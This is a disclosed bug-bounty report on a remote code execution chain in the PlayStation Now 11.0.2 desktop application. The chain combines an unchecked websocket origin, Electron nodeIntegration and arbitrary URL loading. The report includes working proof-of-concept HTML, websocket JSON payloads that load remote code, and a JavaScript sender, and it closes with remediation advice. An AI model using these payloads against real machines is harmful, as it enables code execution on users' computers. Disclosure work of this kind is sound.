PlayStation: Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application

2020-05-13T18:44:26
ID H1:873614
Type hackerone
Reporter parsiya
Modified 2020-12-04T18:04:55

Description

-

Summary

The PlayStation Now application version 11.0.2 is vulnerable to remote code execution (RCE). Any website loaded in any browser on the same machine can run arbitrary code on the machine through a vulnerable websocket connection.

  1. The local websocket server at localhost:1235 does not check the origin of incoming requests.
    1. This allows websites loaded in browsers on the same machine to send requests to the websocket server.
    2. Websockets are not bound by the Same-Origin Policy so the websocket server has to do this manually.
  2. psnow launches an Electron application named AGL.
    1. It's possible to tell AGL to load a specific website with a command sent to the websocket server.
    2. As a result, the websites above can tell AGL to load any remote URL.
    3. It's also possible to tell AGL to run any local application via the setUrlDefaultBrowser command.
  3. The AGL Electron application has nodeIntegration: true so JavaScript running in any loaded URL can spawn new processes.
    1. So any URL loaded in the AGL application can run code on the target machine.

Chaining these three issues gives us RCE.

Description

The PlayStation Now application (psnow moving forward) is an online streaming application for playing PlayStation games. Version 11.0.2 is the current version at the time of writing. The latest version can be downloaded from https://download-psnow.playstation.com/downloads/psnow/pc/latest.

It has two major components: QAS and AGL.

QAS

QAS is an executable named psnowlauncher.exe and is a Qt5 desktop application. This is the main application that is executed when the user runs psnow. The default installation location is C:\Program Files (x86)\PlayStationNow\psnowlauncher.exe.

Note: Running it in a Virtual Machine (VM) returns a warning. This can be ignored for this walkthrough.

After launch, it runs a different application called AGL. The following picture is the complete list of processes in Process Monitor.

Processes in procmon:

{F827146}

The QAS application also runs a websocket server at localhost:1235. netstat -anb in an elevated command line tells us about it:

websocket server:

{F827147}

AGL

AGL is an Electron application. In a typical execution, it's spawned by QAS. In the current version, it's run with this url command line parameter:

  • "C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/

This is the URL of the page that will be initially loaded by the AGL application.

AGL execution

{F827149}

Issue 1: nodeIntegration Set to true

nodeIntegration is the ability for the JavaScript running in an Electron BrowserWindow to access the Node.js APIs. The default value is false but it is set to true in AGL. Any JavaScript loaded by AGL will be able to spawn processes on the machine. This can lead to arbitrary code execution. The AGL application performs no checks on what URLs it loads.

We can check this by running AGL from the command line with a URL that contains some Node code. The following code spawns a new processes and runs the Windows Calculator app (calc).

html <html> <head> <title>This should pop calc on Windows</title> </head> <body> <script> require('child_process') .exec('calc') </script> </body> </html>

I have stored this payload in an S3 bucket. If we load that remote URL in AGL we can see calc spawning. To reproduce, run the following command in a VM and see AGL running the calculator application:

"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://[redacted].s3.us-east-1.amazonaws.com/node.html

Popping calc:

{F827156}

We can see the new processes in Process Monitor:

{F827151}

This is not that useful. We can run code on our own machine, WOW! As Raymond Chen said It rather involved being on the other side of this airtight hatchway.

Proxying The Applications

We can proxy psnow with Burp. Use the Windows proxy settings (WinINET proxy settings).

  1. Run control.exe inetcpl.cpl,,4. This opens the Windows proxy settings without having to open Internet Explorer.
  2. Click on LAN Settings and set the proxy.
    1. Make sure nothing under Automatic Configuration is checked.
    2. Make sure the Bypass proxy server for local addresses is NOT checked.
  3. Set the proxy to the listener, Burp's default is 127.0.0.1:8080.
  4. Add Burp's Certificate Authority (CA) to the Windows certificate store.
    1. https://portswigger.net/support/installing-burp-suites-ca-certificate-in-internet-explorer
    2. The instructions mention Internet Explorer but it's actually for Windows.

Identifying Traffic in Burp

In Burp, we will see traffic to/from both QAS and AGL. There is other traffic (e.g, browser traffic, Windows update). The traffic from psnow has the word gkApollo in its User-Agent header.

The user-agent for requests coming from the two applications has more indicators:

  • QAS is the Qt5 app and has QtWebEngine/5.5.1.
  • AGL is based on Electron and it has Electron/1.4.16 and playstation-now/0.0.0.

I am using a Burp extension named Request Highlighter to highlight requests based on these words in the user-agent.

In my setup, AGL (Electron) is yellow and QAS (Qt5) is blue.

{F827153}

Local Websocket Server

QAS starts a local websocket server on port 1235. Then the website loaded in AGL (in this case "psnow.playstation.com/app/") connects to it and sends commands to the server.

Issue 2: Local Websocket Server does not Check the Origin Header

This is a vulnerable setup for seamless communication between a website and a desktop application. A website sends requests to a local webserver to do something (e.g., launch an application). This setup is vulnerable if the local server does not check the Origin header and/or where the request is coming from.

Some examples of other vulnerable setups:

Tavis Ormandy from Google Project Zero found a very similar setup in Logitech Options.

  • https://bugs.chromium.org/p/project-zero/issues/detail?id=1663

Another by TavisO for TrendMicro. Not websocket but involved a local webserver: https://bugs.chromium.org/p/project-zero/issues/detail?id=693

Zoom used a local webserver to automatically launch the application from the website. Disclosure by Jonathan Leitschuh.

  • https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5

Why is this bad? Any website can send these commands. This means I can put JavaScript code on my own website. If a user running psnow opens my website on the same machine (in any browser), my website connects to http://localhost:1235 and sends requests to the websocket server. These requests will be processed.

Yet Another Chat Application as Proof of Concept

I stole the client code of a websocket chat app and modified it to simulate the evil website. This small app connects to ws://localhost:1235, prints any message received and allows us to send messages at will. You can see the source at:

  • https://[redacted].s3.amazonaws.com/agl-poc/chat-ws.html
  • Open the page in a browser in a different machine and see the source. It's simple enough that I could understand it.

  • Start the psnow app in a VM.

  • Open the above URL in a browser in the same VM.
  • See the websocket messages from the psnow app in the browser.
    1. If we keep the chat app running, it will keep printing messages received from the client.
  • Send any message to the local server via the text field.

{F827145}

Websocket Messages

Now we need to look into the websocket messages and how we can exploit them.

After opening the initial URL at https://psnow.playstation.com/app/1.10.43/105/00d3603f8/ we can see the Connection: Upgrade request to this server from psnow.playstation.com. This is coming from the psnow website loaded in AGL. The initial request is a typical websocket handshake.

{F827150}

Now we can switch to the Proxy > Websockets history tab in Burp to see the websocket messages.

{F827152}

All the requests are in JSON (probably created by JSON.stringify). The interesting ones start with command. For example:

json { "command": "isMicConnected", "params": {}, "source": "AGL", "target": "QAS" }

  • command: What to do.
  • params: Command parameters.
  • source: The program issuing the command.
  • target: The program running the command.

Both target and source can be the same app. I do not think it really matters what the source is. I think only target is mandatory.

We can search for more commands in websocket messages. The most important command is setUrl. There are more commands in the source of the Electron app (unpack app.asar and search for commandHandler) but this is the most useful along with setUrlDefaultBrowser (opens a URL in the default browser on the machine).

{F827154}

json { "command": "setUrl", "params": { "url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/" }, "source": "AGL", "target": "QAS" }

This is AQL telling QAS to load this URL. QAS will then go and load that URL. We can send this request to Burp Repeater and send the message again with a different URL. For example, let's tell QAS to load https://example.net.

{F827155}

But this is not fun. We want AGL to load websites and not QAS. WHAT IF we switched target and source?

{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}

This command will tell AGL (the Electron app) to load example.net. The gif has been minimized, please click on it to enlarge it:

{F827144}

Later, I found out that we can use another TavisO bug to get RCE another way. https://bugs.chromium.org/p/project-zero/issues/detail?id=693

We can abuse the setUrlDefaultBrowser command. It gets passed to shell.openExternal(url) and allows the file scheme.

So the following command should pop calc:

{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}

Note: QAS does not have this command.

Websockets are not bound by the Same-Origin Policy so any website can send these messages. For an explanation please see https://blog.securityevaluators.com/websockets-not-bound-by-cors-does-this-mean-2e7819374acc.

Issue 3: You Can Tell AGL to Load Arbitrary Websites

A single websocket message is enough to make AGL load any URL. There are no restrictions here. This is not great, considering we saw what bad code on a website can do to AGL.

Putting Everything Together

So far we have established three things:

  1. If a website with Node code is loaded in AGL, we can run arbitrary on the target's machine.
  2. Any website opened in the browser on a machine with psnow running can connect to the local websocket and send messages.
  3. A websocket command with setUrl or setUrlDefaultBrowser can tell AGL to load any URL.

Possible Attack Scenario

  1. User is running psnow on their machine.
    1. Note that when the users close the psnow window it gets minimized to tray and is still running. So there's a good chance that psnow is running if they have used it in the same session. The websocket server is still running when the application is minimized.
  2. The user opens a website in their browser. Any browser will do.
    1. Someone can post a link to a website with bad code in chat/Discord, it could be a link on forums. The possibilities are endless.
  3. The website in the browser connects to the websocket server at ws://localhost:1235.
  4. The website sends a message to the websocket server. The message tells AGL to load another website that contains node code.
    1. {"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}
    2. Alternatively, it can abuse the setUrlDefaultBrowser command.
  5. AGL loads the new website. Arbitrary code runs on the user's machine.
  6. ???
  7. RCE.

Steps To Reproduce:

If you have read up until here, you deserve a calc popping gif.

  1. Run psnow in a VM.
  2. Go to the following URL in a browser on the same machine:
    1. https://[redacted].s3.amazonaws.com/agl-poc/calc-ws.html
  3. Watch calc pop.
  4. Optionally, paste the following command in the text field and press send to see calc pop again.
    1. {"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}
    2. You can also do other fun things like enabling dev tools.

The code in calc-ws is similar to the chat code. After the socket to the local websocket server opens, the payload above is sent. See the modification heres:

```js let url = 'ws://localhost:1235/'

let socket = new WebSocket(url);

let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';

// send the payload when the socket is opened. socket.onopen = function(event) { showMessage('before payload'); socket.send(payload); showMessage('after payload'); }; ```

The following gif shows the whole chain. Again, please see it in full-size.

{F827148}

Bonus: Minor Issue 0: Websocket Server Listening on 0.0.0.0

The application is listening on all interfaces (0.0.0.0) which is problematic. This is also not fun because the Windows firewall prompt will pop up when its executed for the first time. Meaning anyone who can contact this port might be able to send commands to this websocket server.

Remediation or How Can We Fix This?

  • Quick and effective win: The local websocket server should validate the Origin header of the incoming request and only allow requests from good Origins specified in a list.
    • This is the same recommendation by TavisO in https://bugs.chromium.org/p/project-zero/issues/detail?id=1663. And he is much smarter than I will ever be.
  • Bonus win: Do not listen on all interfaces, bind the server to localhost.

Impact

Attackers can run code on users' machines. They can get to the other side of the airtight hatchway.